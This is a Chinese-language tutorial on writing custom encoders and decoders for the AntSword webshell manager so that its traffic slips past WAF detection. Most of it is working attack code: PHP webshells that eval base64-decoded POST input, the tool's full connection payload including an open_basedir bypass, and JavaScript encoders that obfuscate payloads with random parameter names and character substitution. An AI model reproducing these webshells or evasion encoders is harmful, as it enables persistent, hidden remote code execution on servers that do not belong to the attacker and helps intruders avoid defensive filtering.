前言
众所周知,现在连WebShell,WebShell要免杀,流量要加密。
冰蝎、哥斯拉虽然提供了各种自带加密的WebShell,但特征基本都被收录了,对于脚本小子来说看不懂客户端的逻辑,也不会改WebShell。
于是,作为唯一能看懂WebShell写了什么的蚁剑就成为目前来看最好的选择。并且蚁剑提供了编码器与解码器去修改流量,总比先改客户端再改WebShell方便很多。(绝不是因为蚁剑的UI好看)
后续内容,仅考虑如何在流量层去除特征,不考虑WebShell的免杀,同时尽量做到尽可能的简化WebShell的代码。
前置知识
编码器
data[' _']
存放payload执行语句的地方
data[pwd]
shell连接密码对应的值,通常意义上的payload
例子(PHP)
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
return data;
}
此处data[pwd] = Buffer.from(data['_']).toString('base64')
为把payload
从data['_']
中取出来赋值给data[pwd]
,并进行一次base64编码,效果如下
然后在返回前删除data['_']
delete data['_'];
此时password处即可正常发送paylaod
编码器流程
把payload
从data['_']
中取出赋值给data[pwd]
,此时可对payload
进行编码。
随机参数原理
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
data[pwd] = Buffer.from(data[pwd]).toString('base64');
delete data['_'];
return data;
}
此处为把payload
存入randomID
,然后用pwd
去调用
webshell→调用pwd→调用randomID→执行恶意代码。
解码器
执行原理
在执行的payload后加入设定的返回值编码
在蚁剑的编码器中,data是一个Object对象,此处可以简易理解为一种Key->Value形式。data['']
是存放原始Payload的地方,正常使用需要将其取出赋给data[pwd]
。
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64'); // 把data['_']的值取出,赋给data[pwd],data[pwd]也是通常意义上连接WebShell的密码
console.log(data); // 在控制台打印data对象
delete data['_']; // 删除data['_'],可自行测试不删除data['_']会发生什么。
return data; //返回data对象
}
在写编码器的过程中可以对蚁剑进行调试来观察输出,以下为data的打印。
例子(PHP)
默认连接测试payload整理如下
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
[email protected]_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if([email protected]_writable($item)) {
continue;
}
;
$tmdir=$item."/.c57cd8db5";
@mkdir($tmdir);
if([email protected]_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
[email protected]_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return @base64_encode($out);
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "25"."a77";
echo @asenc($output);
echo "2858"."7c22";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
?>
解码器改为base64
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
[email protected]_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if([email protected]_writable($item)) {
continue;
}
;
$tmdir=$item."/.918d460a73";
@mkdir($tmdir);
if([email protected]_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
[email protected]_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "b26f"."dd79";
echo @asenc($output);
echo "76238"."07cd6";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
?>
对比
仅在此处不同,进行了一次base64编码
关键点在asenc
,我们来查看asenc
在哪更改
asenc
解码器
/**
* php::base64解码器
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
此处定义了asenc
的函数,及最后解码要执行的语句。
此处decode_buff
定义了蚁剑接到服务器返回后做的编码处理
因此,解码器要用对应语言去写编码函数。
所以实际解码器的流程:
编写解码器(asoutput)->蚁剑发送Payload时追加使用对应解码器(asoutput)进行输出->蚁剑收到WebShell输出后再对结果进行解码(decode_buff)从而正常回显。
如果不编写对应的decode_buff,会出现类似下面的样子:
PHP编码与解码
首先看蚁剑给的默认PHP的Base64编码器,可以看出这个编码器没有什么意义。
最简单能用的base64编码器可以改成如下所示,效果如下,已经好很多了
因为Payload默认进行一次Base64编码,所以对应的WebShell需要进行改动。
<?php
eval(base64_decode($_POST['a']));
?>
所以编码器其实就是用JavaScript先对Payload进行一次编码再发送,相应的服务端WebShell也要进行对应的解码操作。
因此理论上可以做到随意的对Payload进行变形、加密、编码、混淆,真正意义上做到自定义流量过WAF,不拘泥于AES加密。
PHP进阶修改
众所周知,有些WAF不单可以识别AES流量特征,还可以循环解码Base64,所以单纯的Base64并不能满足需求,于是我们可以把编码后的字符串中某个字符换成神秘代码(PHP的解码器直接就能用,所以只演示编码器了)。
把流量中W
替换为HelloWorld
的编码器:
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = data[pwd].replace(/W/g, 'HelloWorld'); // 替换W
delete data['_'];
return data;
}
对应的WebShell如下:
<?php
eval(base64_decode(str_replace('HelloWorld','W',$_POST['a'])));
?>
效果: